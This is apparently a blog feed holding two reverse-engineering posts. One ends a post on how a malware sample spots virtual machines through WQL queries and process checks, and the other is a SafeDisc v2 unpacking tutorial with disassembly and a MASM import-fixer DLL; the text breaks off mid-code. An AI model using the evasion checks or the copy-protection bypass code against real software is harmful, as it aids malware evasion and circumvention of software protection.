Win32_DiskDrive Win32_Processor Win32_SCSIController Name Model Manufacturer Xen QEMU Bochs Red Hat Citrix VMware Virtual HDVBOX CaptureClient.exe SELECT * FROM %s WHERE %s LIKE "%%%s%%" SELECT * FROM %s WHERE %s = "%s" </code></pre> First it will gather all the information about your pc and send this to a C&C.<br/> And after for example, it will check if in process list there is "CaptureClient.exe", or execute the request "SELECT * FROM Win32_DiskDevice WHERE Manufacturer = "VMware", etc...<br/> This is how they can detect that you are in virtualized or emulated environment.<br/> I didn't know how WQL work, so I decided to develop someshit : <pre><tt><b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;windows.h&gt;</font> <b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;objbase.h&gt;</font> <b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;atlbase.h&gt;</font> <b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;iostream&gt;</font> <b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;wbemidl.h&gt;</font> <b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;comutil.h&gt;</font> <font color="#009900">int</font> <b><font color="#000000">main</font></b><font color="#990000">(</font><font color="#009900">void</font><font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#008080">HRESULT</font> hr<font color="#990000">;</font> hr <font color="#990000">=</font> <b><font color="#000000">CoInitializeEx</font></b><font color="#990000">(</font> NULL<font color="#990000">,</font> COINIT_MULTITHREADED <font color="#990000">);</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font>hr <font color="#990000">&lt;</font> <font color="#993399">0</font><font color="#990000">)</font> <font color="#FF0000">{</font> std<font color="#990000">::</font>cerr <font color="#990000">&lt;&lt;</font> <font color="#FF0000">"[-] COM initialization failed"</font> <font color="#990000">&lt;&lt;</font> std<font color="#990000">::</font>endl<font color="#990000">;</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> hr <font color="#990000">=</font> <b><font color="#000000">CoInitializeSecurity</font></b><font color="#990000">(</font>NULL<font color="#990000">,</font> <font color="#990000">-</font><font color="#993399">1</font><font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> RPC_C_AUTHN_LEVEL_DEFAULT<font color="#990000">,</font> RPC_C_IMP_LEVEL_IMPERSONATE<font color="#990000">,</font> NULL<font color="#990000">,</font> EOAC_NONE<font color="#990000">,</font> NULL <font color="#990000">);</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font>hr <font color="#990000">&lt;</font> <font color="#993399">0</font><font color="#990000">)</font> <font color="#FF0000">{</font> std<font color="#990000">::</font>cerr <font color="#990000">&lt;&lt;</font> <font color="#FF0000">"[-] Security initialization failed"</font> <font color="#990000">&lt;&lt;</font> std<font color="#990000">::</font>endl<font color="#990000">;</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> <font color="#008080">CComPtr&lt;IWbemLocator&gt;</font> locator<font color="#990000">;</font> hr <font color="#990000">=</font> <b><font color="#000000">CoCreateInstance</font></b><font color="#990000">(</font>CLSID_WbemAdministrativeLocator<font color="#990000">,</font> NULL<font color="#990000">,</font> CLSCTX_INPROC_SERVER<font color="#990000">,</font> IID_IWbemLocator<font color="#990000">,</font> <b><font color="#0000FF">reinterpret_cast</font></b><font color="#990000">&lt;</font> <font color="#009900">void</font><font color="#990000">**</font> <font color="#990000">&gt;(</font> <font color="#990000">&amp;</font>locator <font color="#990000">));</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font>hr <font color="#990000">&lt;</font> <font color="#993399">0</font><font color="#990000">)</font> <font color="#FF0000">{</font> std<font color="#990000">::</font>cerr <font color="#990000">&lt;&lt;</font> <font color="#FF0000">"[-] Instantiation of IWbemLocator failed"</font> <font color="#990000">&lt;&lt;</font> std<font color="#990000">::</font>endl<font color="#990000">;</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> <font color="#008080">CComPtr&lt;IWbemServices&gt;</font> service<font color="#990000">;</font> hr <font color="#990000">=</font> locator<font color="#990000">-&gt;</font><b><font color="#000000">ConnectServer</font></b><font color="#990000">(</font>L<font color="#FF0000">"root</font><font color="#CC33CC">\\</font><font color="#FF0000">cimv2"</font><font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> WBEM_FLAG_CONNECT_USE_MAX_WAIT<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> <font color="#990000">&amp;</font>service<font color="#990000">);</font> <font color="#008080">CComPtr&lt; IEnumWbemClassObject &gt;</font> enumerator<font color="#990000">;</font> hr <font color="#990000">=</font> service<font color="#990000">-&gt;</font><b><font color="#000000">ExecQuery</font></b><font color="#990000">(</font> L<font color="#FF0000">"WQL"</font><font color="#990000">,</font> L<font color="#FF0000">"SELECT * FROM Win32_Process"</font><font color="#990000">,</font> WBEM_FLAG_FORWARD_ONLY<font color="#990000">,</font> NULL<font color="#990000">,</font> <font color="#990000">&amp;</font>enumerator <font color="#990000">);</font> <i><font color="#9A1900">//hr = service-&gt;ExecQuery( L"WQL", L"SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%VMware%\"", WBEM_FLAG_FORWARD_ONLY, NULL, &amp;enumerator );</font></i> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font>hr <font color="#990000">&lt;</font> <font color="#993399">0</font><font color="#990000">)</font> <font color="#FF0000">{</font> std<font color="#990000">::</font>cerr <font color="#990000">&lt;&lt;</font> <font color="#FF0000">"[-] ExecQuey() Failed"</font> <font color="#990000">&lt;&lt;</font> std<font color="#990000">::</font>endl<font color="#990000">;</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> <font color="#008080">CComPtr&lt; IWbemClassObject &gt;</font> processor <font color="#990000">=</font> NULL<font color="#990000">;</font> <font color="#008080">ULONG</font> retcnt<font color="#990000">;</font> hr <font color="#990000">=</font> enumerator<font color="#990000">-&gt;</font><b><font color="#000000">Next</font></b><font color="#990000">(</font>WBEM_INFINITE<font color="#990000">,</font> <font color="#993399">1L</font><font color="#990000">,</font> <b><font color="#0000FF">reinterpret_cast</font></b><font color="#990000">&lt;</font>IWbemClassObject<font color="#990000">**&gt;(</font> <font color="#990000">&amp;</font>processor <font color="#990000">),</font> <font color="#990000">&amp;</font>retcnt<font color="#990000">);</font> <b><font color="#0000FF">while</font></b> <font color="#990000">(</font> <b><font color="#000000">SUCCEEDED</font></b><font color="#990000">(</font>hr<font color="#990000">)</font> <font color="#990000">&amp;&amp;</font> retcnt <font color="#990000">&gt;</font> <font color="#993399">0</font><font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font> retcnt <font color="#990000">&gt;</font> <font color="#993399">0</font> <font color="#990000">)</font> <font color="#FF0000">{</font> _<font color="#008080">variant_t</font> var_val<font color="#990000">;</font> hr <font color="#990000">=</font> processor<font color="#990000">-&gt;</font><b><font color="#000000">Get</font></b><font color="#990000">(</font> L<font color="#FF0000">"Name"</font><font color="#990000">,</font> <font color="#993399">0</font><font color="#990000">,</font> <font color="#990000">&amp;</font>var_val<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL <font color="#990000">);</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font>hr <font color="#990000">&gt;=</font> <font color="#993399">0</font><font color="#990000">)</font> <font color="#FF0000">{</font> _<font color="#008080">bstr_t</font> str <font color="#990000">=</font> var_val<font color="#990000">;</font> std<font color="#990000">::</font>cout <font color="#990000">&lt;&lt;</font> <font color="#FF0000">"[+] Name: "</font> <font color="#990000">&lt;&lt;</font> str <font color="#990000">&lt;&lt;</font> std<font color="#990000">::</font>endl<font color="#990000">;</font> <font color="#FF0000">}</font> <b><font color="#0000FF">else</font></b> <font color="#FF0000">{</font> std<font color="#990000">::</font>cerr <font color="#990000">&lt;&lt;</font> <font color="#FF0000">"[-] IWbemClassObject::Get failed"</font> <font color="#990000">&lt;&lt;</font> std<font color="#990000">::</font>endl<font color="#990000">;</font> <i><font color="#9A1900">//result = -1;</font></i> <font color="#FF0000">}</font> hr <font color="#990000">=</font> enumerator<font color="#990000">-&gt;</font><b><font color="#000000">Next</font></b><font color="#990000">(</font> WBEM_INFINITE<font color="#990000">,</font> <font color="#993399">1L</font><font color="#990000">,</font> <b><font color="#0000FF">reinterpret_cast</font></b><font color="#990000">&lt;</font>IWbemClassObject<font color="#990000">**&gt;(</font> <font color="#990000">&amp;</font>processor <font color="#990000">),</font> <font color="#990000">&amp;</font>retcnt <font color="#990000">);</font> <font color="#FF0000">}</font> <b><font color="#0000FF">else</font></b> <font color="#FF0000">{</font> std<font color="#990000">::</font>cout <font color="#990000">&lt;&lt;</font> <font color="#FF0000">"[-] Enumeration empty"</font> <font color="#990000">&lt;&lt;</font> std<font color="#990000">::</font>endl<font color="#990000">;</font> <font color="#FF0000">}</font> <font color="#FF0000">}</font> <font color="#FF0000">}</font></tt></pre> <p>That's all for today :].</p> http://blog.w4kfu.compost/news_tdl4_ida 2011-10-25T20:51:05Z 2011-10-25T20:51:05Z C and C w4kfu <h2>Introduction</h2> <p>If you are bored of my tutorial on safedisc just go to Bonus section for laughing.<br/> Today we are going to see safedisc version 2 (in this case i worked on v2.05.030).<br/></p> <h2>Detection</h2> <p>No more *.icd file, the loader is now integrated into the main executable.<br/> The signature is the same : &quot;BoG_ *90.0&amp;!! Yy&gt;&quot; followed by 3 unsigned integers : the version, subversion an revision number.<br/></p> <h2>Anti Debug</h2> <p>In this case we are using ring 3 debugger, the tricks are the same than in safedisc version 1 : <br/></p> <ul> <li>IsDebuggerPresent()</li> <li>PEB!IsDebugged</li> <li>ZwQueryInformation (ProcessInformationClass = ProcessDebugPort)</li> </ul> <p>You can use Phant0m plugin or follow what i did for safedisc 1.</p> <h2>Find OEP</h2> <p>Like I said in &quot;detection&quot; section, the loader is now integrated in the main executable, so we must find real oep after safedisc decyphering stuff.<br/> I don't know if it's a good way to find it, but i set an hardware breakpoint on GetVersion, and look around for finding where am i. (GetVersion is one of the first called api).<br/> But after watching some disas when i opened my ra2.exe into OllyDbg :</p> <pre><code>0041C1FD &gt; 55 PUSH EBP 0041C1FE 8BEC MOV EBP,ESP 0041C200 60 PUSHAD 0041C201 B8 7BC24100 MOV EAX,Ra2.0041C27B 0041C206 2D FDC14100 SUB EAX,OFFSET Ra2.&lt;ModuleEntryPoint&gt; 0041C20B 0305 7CC24100 ADD EAX,DWORD PTR DS:[41C27C] 0041C211 C705 FDC14100 E&gt;MOV DWORD PTR DS:[&lt;ModuleEntryPoint&gt;],0E9 0041C21B A3 FEC14100 MOV DWORD PTR DS:[41C1FE],EAX 0041C220 68 C9C04100 PUSH Ra2.0041C0C9 ; ASCII &quot;USER32.dll&quot; 0041C225 68 BBC04100 PUSH Ra2.0041C0BB ; ASCII &quot;KERNEL32.dll&quot; 0041C22A 68 09C04100 PUSH Ra2.0041C009 0041C22F 68 9BC04100 PUSH &lt;&amp;KERNEL32.GetModuleHandleA&gt; 0041C234 A0 21C04100 MOV AL,BYTE PTR DS:[41C021] 0041C239 3C 01 CMP AL,1 0041C23B 74 07 JE SHORT Ra2.0041C244 0041C23D B8 00000000 MOV EAX,0 0041C242 EB 03 JMP SHORT Ra2.0041C247 0041C244 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 0041C247 50 PUSH EAX 0041C248 E8 33000000 CALL Ra2.0041C280 0041C24D 83C4 14 ADD ESP,14 0041C250 83F8 00 CMP EAX,0 0041C253 74 1C JE SHORT Ra2.0041C271 0041C255 C705 FDC14100 C&gt;MOV DWORD PTR DS:[&lt;ModuleEntryPoint&gt;],0C2 0041C25F C705 FEC14100 0&gt;MOV DWORD PTR DS:[41C1FE],0C 0041C269 50 PUSH EAX 0041C26A A1 ABC04100 MOV EAX,DWORD PTR DS:[&lt;&amp;KERNEL32.ExitProcess&gt;] 0041C26F FFD0 CALL EAX 0041C271 61 POPAD 0041C272 5D POP EBP 0041C273 EB 06 JMP SHORT Ra2.0041C27B 0041C275 72 16 JB SHORT Ra2.0041C28D 0041C277 61 POPAD 0041C278 1360 0D ADC ESP,DWORD PTR DS:[EAX+D] 0041C27B - E9 FFB5FEFF JMP Ra2.0040787F </code></pre> <p>Look at 0x0041C271, popad (we restore all our registers), pop ebp, jmp to 0x0041C27B, and again a jump to ... OEP. <br/> After setting an hbp at this address we are here :</p> <pre><code>0040787F 55 PUSH EBP 00407880 8BEC MOV EBP,ESP 00407882 6A FF PUSH -1 00407884 68 78234100 PUSH Ra2.00412378 00407889 68 E4C54000 PUSH Ra2.0040C5E4 </code></pre> <h2>Fix redirect call</h2> <p>In this version of safedisc 2, it's the same difficulty in my opinion, but it's take more time to write call fixer, because there are some funny anti dump tricks.<br/> Let's see the call jsut after oep :</p> <p><img src="/public/ra2_rdata.png" alt="ra2_rdata" /><br/></p> <p>It looks like version 1, but they set up new &quot;protection&quot; for fixing it.<br/> I will not get into detail but explain you what they did and how to defeat it.<br/></p> <pre><code>01306CA7 68 B413EABF PUSH BFEA13B4 01306CAC 9C PUSHFD 01306CAD 60 PUSHAD 01306CAE 54 PUSH ESP 01306CAF 68 E76C3001 PUSH 1306CE7 01306CB4 E8 3729D10E CALL ~df394b.100195F0 01306CB9 83C4 08 ADD ESP,8 01306CBC 6A 00 PUSH 0 01306CBE 58 POP EAX 01306CBF 61 POPAD 01306CC0 9D POPFD 01306CC1 C3 RET </code></pre> <p>Routine are exactly the same than my previous post about version 1 subersion 41, they compute the addr and then ret to it.<br/> BUT ! now they check on the stack from where you have called this routine, and if it's an unknow address, it will compute a random api address.<br/> So when we will want to fix import, we will have to scan code section find 0xFF15 (call dword [rdata]) and push the addr + 6.<br/> I will spare you from crash, because it's not the only protection ... after making a call fixer, i encoutered a second problem, you can have several call to the same offset to rdata section, and in function of where you called it it will compute different api address :</p> <pre><code>0040521E CALL DWORD PTR DS:[4110F4] ; Return to 7C91FE01 (ntdll.RtlGetLastWin32Error) 004078F3 CALL DWORD PTR DS:[4110F4] ; Return to 7C812FAD (kernel32.GetCommandLineA) </code></pre> <p>As you can these 2 calls call the same routine, but ret on different api.<br/> So for our call fixer we will have to create a temporary kernel32 and user32 table, and fix each call dword ptr to call the good index :</p> <ul> <li>Make a temporary dword table size of nb api, fill with null at start</li> <li>Scan code section, compute address api with safedisc routine</li> <li>Hook return safedisc routine, and put address into a register</li> <li>If computed address is not known find place (null bytes) into temporary table, and fix destination of the call dword ptr with new index into the table.</li> <li>If computed adress is already known and index into the table didn't change, do nothing, else fix destination of the call dword ptr.</li> <li>When done juste memcpy new table</li> </ul> <p>How to hook safedisc routine ?<br/></p> <pre><code>100183DF FF15 44800310 CALL DWORD PTR DS:[&lt;&amp;KERNEL32.SetEvent&gt;] ; kernel32.SetEvent 100183E5 /EB 07 JMP SHORT ~df394b.100183EE 100183E7 8BDB MOV EBX,EBX 100183E9 /70 06 JO SHORT ~df394b.100183F1 100183EB |90 NOP 100183EC /71 03 JNO SHORT ~df394b.100183F1 100183EE ^\EB F7 JMP SHORT ~df394b.100183E7 100183F1 8B65 0C MOV ESP,DWORD PTR SS:[EBP+C] 100183F4 61 POPAD 100183F5 9D POPFD 100183F6 C3 RET </code></pre> <p>We will remplace the JMP SHORT ~df394b.100183EE, to jump to our code (in my case i used a dll, why because dll injection FTW !, no it's a simply way to fuck this anti dump, and not assemble code in ollydbg each time, yes safedisc 2 call fixer is longer than safedisc 1).<br/></p> <p>So if you are following my tuts and code some shit, your dump will crash... we need to fix 3 more tricks.<br/> The problem is mov REG, [rdata] ... call REG :</p> <pre><code>References in Ra2:.text to 00411084..00411087, item 3 Address=0040E719 Disassembly=MOV ESI,DWORD PTR DS:[411084] Comment=DS:[00411084]=01302435 References in Ra2:.text to 004110A4..004110A7, item 0 Address=0040350E Disassembly=MOV EBP,DWORD PTR DS:[4110A4] Comment=DS:[004110A4]=01303E8D References in Ra2:.text to 00411124..00411127, item 0 Address=0040310F Disassembly=MOV EBX,DWORD PTR DS:[411124] Comment=DS:[00411124]=0130A7ED References in Ra2:.text to 00411130..00411133, item 0 Address=00402CF5 Disassembly=MOV EDI,DWORD PTR DS:[411130] Comment=DS:[00411130]=0130B1CE </code></pre> <p>So we will need to fix mov edi, [rdata], ebp, ebx, edi, see my call fixer for explanation but same thing like before.<br/> An another tricks is jmp to Stxt774 a section found inside the binary.<br/></p> <pre><code>0040C488 - E9 98EB0000 JMP Ra2.0041B025 .... 0041B025 53 PUSH EBX 0041B026 E8 00000000 CALL Ra2.0041B02B 0041B02B 870424 XCHG DWORD PTR SS:[ESP],EAX 0041B02E 9C PUSHFD 0041B02F 05 D5FFFFFF ADD EAX,-2B 0041B034 8B18 MOV EBX,DWORD PTR DS:[EAX] 0041B036 6BDB 01 IMUL EBX,EBX,1 0041B039 0358 04 ADD EBX,DWORD PTR DS:[EAX+4] 0041B03C 9D POPFD 0041B03D 58 POP EAX 0041B03E 871C24 XCHG DWORD PTR SS:[ESP],EBX 0041B041 C3 RET </code></pre> <p>This routine will just compute an addr to rdata section, and ret to it, so for fixing this we will have to replace jmp by call [rdata], but wait jmp addr it's only 5 bytes and call [rdata] is equals 6 bytes, but don't worry when we will ret from this routine we will ret at 0x0040C488 + 6 (in the example above), so we have enough place to fix it.<br/> And the last tricks is similar than this one seen below, it is jmp [rdata], and we have enough place too for fixing it too.<br/></p> <p>Now you have all the pieces to understand my fix import dll :</p> <pre><tt><b><font color="#000080">.386</font></b> <b><font color="#000080">.model</font></b> flat<font color="#990000">,</font>stdcall option casemap<font color="#990000">:</font>none <b><font color="#0000FF">include</font></b> <font color="#990000">\</font>masm<font color="#993399">32</font><font color="#990000">\</font><b><font color="#0000FF">include</font></b><font color="#990000">\</font>kernel<font color="#993399">32</font><font color="#990000">.</font><b><font color="#0000FF">inc</font></b> includelib <font color="#990000">\</font>masm<font color="#993399">32</font><font color="#990000">\</font>lib<font color="#990000">\</font>kernel<font color="#993399">32</font><font color="#990000">.</font>lib <b><font color="#000080">.const</font></b> <i><font color="#9A1900">; user32 addr rdata start</font></i> user<font color="#993399">32</font>_rdata <font color="#990000">=</font> <font color="#993399">004111ACh</font> <i><font color="#9A1900">; kernel32 addr rdata start</font></i> kernel<font color="#993399">32</font>_rdata <font color="#990000">=</font> <font color="#993399">0041105Ch</font> code_start <font color="#990000">=</font> <font color="#993399">00401000h</font> code_end <font color="#990000">=</font> <font color="#993399">00411000h</font> code_size <font color="#990000">=</font> <font color="#993399">00010000h</font> <i><font color="#9A1900">; Addr to patch for our hook</font></i> addr_to_patch <font color="#990000">=</font> <font color="#993399">100183</font>E<font color="#993399">5h</font> start_rdata <font color="#990000">=</font> <font color="#993399">00411000h</font> size_rdata <font color="#990000">=</font> <font color="#993399">00003000h</font> stxt_section <font color="#990000">=</font> <font color="#993399">0041B000h</font> stxt_end <font color="#990000">=</font> stxt_section <font color="#990000">+</font> <font color="#993399">00001000h</font> <b><font color="#000080">.data</font></b><font color="#990000">?</font> OldProtect <b><font color="#0000FF">dd</font></b> <font color="#990000">?</font> addrcall <b><font color="#0000FF">dd</font></b> <font color="#993399">9</font> dup <font color="#990000">(?)</font> nbwrite <b><font color="#0000FF">dd</font></b> <font color="#990000">?</font> addrapi <b><font color="#0000FF">dd</font></b> <font color="#990000">?</font> not_real <b><font color="#0000FF">dd</font></b> <font color="#990000">?</font> kernel<font color="#993399">32</font>_table <b><font color="#0000FF">dw</font></b> <font color="#993399">051h</font> dup <font color="#990000">(?,?,?,?)</font> user<font color="#993399">32</font>_table <b><font color="#0000FF">dw</font></b> <font color="#993399">01Ah</font> dup <font color="#990000">(?,?,?,?)</font> <b><font color="#000080">.code</font></b> LibMain <b><font color="#0000FF">proc</font></b> parameter<font color="#993399">1</font><font color="#990000">:</font>DWORD<font color="#990000">,</font> parameter<font color="#993399">2</font><font color="#990000">:</font>DWORD<font color="#990000">,</font> parameter<font color="#993399">3</font><font color="#990000">:</font>DWORD <b><font color="#0000FF">pushad</font></b> <b><font color="#0000FF">pushfd</font></b> <i><font color="#9A1900">; Set full access for beeing able to fix jmp to call and rdata section</font></i> invoke VirtualProtect<font color="#990000">,</font> addr_to_patch<font color="#990000">,</font> <font color="#993399">5</font><font color="#990000">,</font> <font color="#993399">40h</font><font color="#990000">,</font> addr OldProtect invoke VirtualProtect<font color="#990000">,</font> code_start<font color="#990000">,</font> code_size<font color="#990000">,</font> <font color="#993399">40h</font><font color="#990000">,</font> addr OldProtect invoke VirtualProtect<font color="#990000">,</font> start_rdata<font color="#990000">,</font> size_rdata<font color="#990000">,</font> <font color="#993399">40h</font><font color="#990000">,</font> addr OldProtect <i><font color="#9A1900">; Set hook</font></i> <b><font color="#0000FF">mov</font></b> <font color="#009900">eax</font><font color="#990000">,</font> addr_to_patch <b><font color="#0000FF">mov</font></b> <font color="#009900">byte</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">eax</font><font color="#990000">],</font> <font color="#993399">0E9h</font> <b><font color="#0000FF">mov</font></b> <font color="#990000">[</font><font color="#009900">eax</font> <font color="#990000">+</font> <font color="#993399">1</font><font color="#990000">],</font> Hook <font color="#990000">-</font> addr_to_patch <font color="#990000">-</font> <font color="#993399">5</font> <i><font color="#9A1900">; Scan section text</font></i> <b><font color="#000080">SearchCall:</font></b> <b><font color="#0000FF">mov</font></b> <font color="#009900">eax</font><font color="#990000">,</font> code_start <b><font color="#000080">Scantext:</font></b> <b><font color="#0000FF">inc</font></b> <font color="#009900">eax</font> <b><font color="#0000FF">cmp</font></b> <font color="#009900">eax</font><font color="#990000">,</font> code_end <b><font color="#0000FF">jae</font></b> end_scan <b><font color="#0000FF">cmp</font></b> <font color="#009900">word</font> <b><font color="#0000FF">ptr</font></b><font color="#990000">[</font><font color="#009900">eax</font><font color="#990000">],</font> <font color="#993399">015FFh</font> <i><font color="#9A1900">; call [rdata]</font></i> <b><font color="#0000FF">je</font></b> call_type<font color="#993399">1</font> <b><font color="#0000FF">cmp</font></b> <font color="#009900">word</font> <b><font color="#0000FF">ptr</font></b><font color="#990000">[</font><font color="#009900">eax</font><font color="#990000">],</font> <font color="#993399">025FFh</font> <i><font color="#9A1900">; Jmp [rdata]</font></i> <b><font color="#0000FF">je</font></b> call_type<font color="#993399">1</font> <b><font color="#0000FF">cmp</font></b> <font color="#009900">word</font> <b><font color="#0000FF">ptr</font></b><font color="#990000">[</font><font color="#009900">eax</font><font color="#990000">],</font> <font color="#993399">0358Bh</font> <i><font color="#9A1900">; MOV ESI, ...</font></i> <b><font color="#0000FF">je</font></b> call_type<font color="#993399">1</font> <b><font color="#0000FF">cmp</font></b> <font color="#009900">word</font> <b><font color="#0000FF">ptr</font></b><font color="#990000">[</font><font color="#009900">eax</font><font color="#990000">],</font> <font color="#993399">02D8Bh</font> <i><font color="#9A1900">; MOV EBP, ...</font></i> <b><font color="#0000FF">je</font></b> call_type<font color="#993399">1</font> <b><font color="#0000FF">cmp</font></b> <font color="#009900">word</font> <b><font color="#0000FF">ptr</font></b><font color="#990000">[</font><font color="#009900">eax</font><font color="#990000">],</font> <font color="#993399">01D8Bh</font> <i><font color="#9A1900">; MOV EBX, ...</font></i> <b><font color="#0000FF">je</font></b> call_type<font color="#993399">1</font> <b><font color="#0000FF">cmp</font></b> <font color="#009900">word</font> <b><font color="#0000FF">ptr</font></b><font color="#990000">[</font><font color="#009900">eax</font><font color="#990000">],</font> <font color="#993399">03D8Bh</font> <i><font color="#9A1900">; MOV EDI, ...</font></i> <b><font color="#0000FF">je</font></b> call_type<font color="#993399">1</font> <b><font color="#0000FF">cmp</font></b> <font color="#009900">byte</font> <b><font color="#0000FF">ptr</font></b><font color="#990000">[</font><font color="#009900">eax</font><font color="#990000">],</font> <font color="#993399">0E9h</font> <i><font color="#9A1900">; Jmp Stxt774</font></i> <b><font color="#0000FF">je</font></b> jmp_type <b><font color="#0000FF">jmp</font></b> Scantext end_scan<font color="#990000">:</font> <i><font color="#9A1900">; copy temporary table to original position</font></i> <b><font color="#0000FF">mov</font></b> <font color="#009900">ecx</font><font color="#990000">,</font> <font color="#993399">051h</font> <b><font color="#0000FF">lea</font></b> <font color="#009900">esi</font><font color="#990000">,</font> kernel<font color="#993399">32</font>_table <b><font color="#0000FF">mov</font></b> <font color="#009900">edi</font><font color="#990000">,</font> kernel<font color="#993399">32</font>_rdata <b><font color="#0000FF">rep</font></b> <b><font color="#0000FF">movsd</font></b> <b><font color="#0000FF">mov</font></b> <font color="#009900">ecx</font><font color="#990000">,</font> <font color="#993399">01Ah</font> <b><font color="#0000FF">lea</font></b> <font color="#009900">esi</font><font color="#990000">,</font> user<font color="#993399">32</font>_table <b><font color="#0000FF">mov</font></b> <font color="#009900">edi</font><font color="#990000">,</font> user<font color="#993399">32</font>_rdata <b><font color="#0000FF">rep</font></b> <b><font color="#0000FF">movsd</font></b> <b><font color="#0000FF">mov</font></b> <font color="#009900">eax</font><font color="#990000">,</font> <font color="#993399">1</font> <b><font color="#0000FF">popfd</font></b> <b><font color="#0000FF">popad</font></b> <b><font color="#0000FF">retn</font></b> <i><font color="#9A1900">; Our hook function edx = addr of the resolved api</font></i> <b><font color="#000080">Hook:</font></b> <b><font color="#0000FF">mov</font></b> <font color="#990000">[</font>addrapi<font color="#990000">],</font> <font color="#009900">edx</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">esp</font><font color="#990000">,</font> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#009900">ss</font><font color="#990000">:[</font><font color="#009900">ebp</font> <font color="#990000">+</font> <font color="#993399">0Ch</font><font color="#990000">]</font> <b><font color="#0000FF">popad</font></b> <b><font color="#0000FF">popfd</font></b> <b><font color="#0000FF">pop</font></b> <font color="#009900">edi</font> <b><font color="#0000FF">pop</font></b> <font color="#009900">edi</font> <b><font color="#0000FF">retn</font></b> <i><font color="#9A1900">; fix jump</font></i> jmp_type<font color="#990000">:</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#990000">[</font><font color="#009900">eax</font> <font color="#990000">+</font> <font color="#993399">1</font><font color="#990000">]</font> <b><font color="#0000FF">lea</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#990000">[</font><font color="#009900">edx</font> <font color="#990000">+</font> <font color="#009900">eax</font> <font color="#990000">+</font> <font color="#993399">5</font><font color="#990000">]</font> <b><font color="#000080"> .if</font></b> <font color="#009900">edx</font> <font color="#990000">&gt;=</font> stxt_section <font color="#990000">&amp;&amp;</font> <font color="#009900">edx</font> <font color="#990000">&lt;=</font> stxt_end <b><font color="#0000FF">push</font></b> next_jmp <b><font color="#0000FF">jmp</font></b> <font color="#009900">edx</font> <b><font color="#000080"> .endif</font></b> <b><font color="#0000FF">jmp</font></b> Scantext next_jmp<font color="#990000">:</font> <b><font color="#0000FF">xor</font></b> <font color="#009900">ecx</font><font color="#990000">,</font> <font color="#009900">ecx</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">ebx</font><font color="#990000">,</font> <font color="#990000">[</font>addrapi<font color="#990000">]</font> <i><font color="#9A1900">; is a jump to user32 or kernel32 rdata</font></i> <b><font color="#000080"> .if</font></b> <font color="#009900">ebx</font> <font color="#990000">&gt;=</font> <font color="#993399">07E000000h</font> <b><font color="#0000FF">lea</font></b> <font color="#009900">edi</font><font color="#990000">,</font> user<font color="#993399">32</font>_table <b><font color="#0000FF">mov</font></b> <font color="#009900">esi</font><font color="#990000">,</font> user<font color="#993399">32</font>_rdata <b><font color="#000080"> .else</font></b> <b><font color="#0000FF">lea</font></b> <font color="#009900">edi</font><font color="#990000">,</font> kernel<font color="#993399">32</font>_table <b><font color="#0000FF">mov</font></b> <font color="#009900">esi</font><font color="#990000">,</font> kernel<font color="#993399">32</font>_rdata <b><font color="#000080"> .endif</font></b> <b><font color="#000080"> .while</font></b> <font color="#990000">(</font><font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">edi</font> <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <font color="#990000">!=</font> <font color="#993399">0</font><font color="#990000">)</font> <b><font color="#000080"> .if</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">edi</font> <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <font color="#990000">==</font> <font color="#009900">ebx</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">word</font> <b><font color="#0000FF">ptr</font></b><font color="#990000">[</font><font color="#009900">eax</font><font color="#990000">],</font> <font color="#993399">015FFh</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#009900">esi</font> <b><font color="#0000FF">lea</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#990000">[</font><font color="#009900">edx</font> <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">eax</font> <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">],</font> <font color="#009900">edx</font> <b><font color="#0000FF">jmp</font></b> @F <b><font color="#000080"> .endif</font></b> <b><font color="#0000FF">inc</font></b> <font 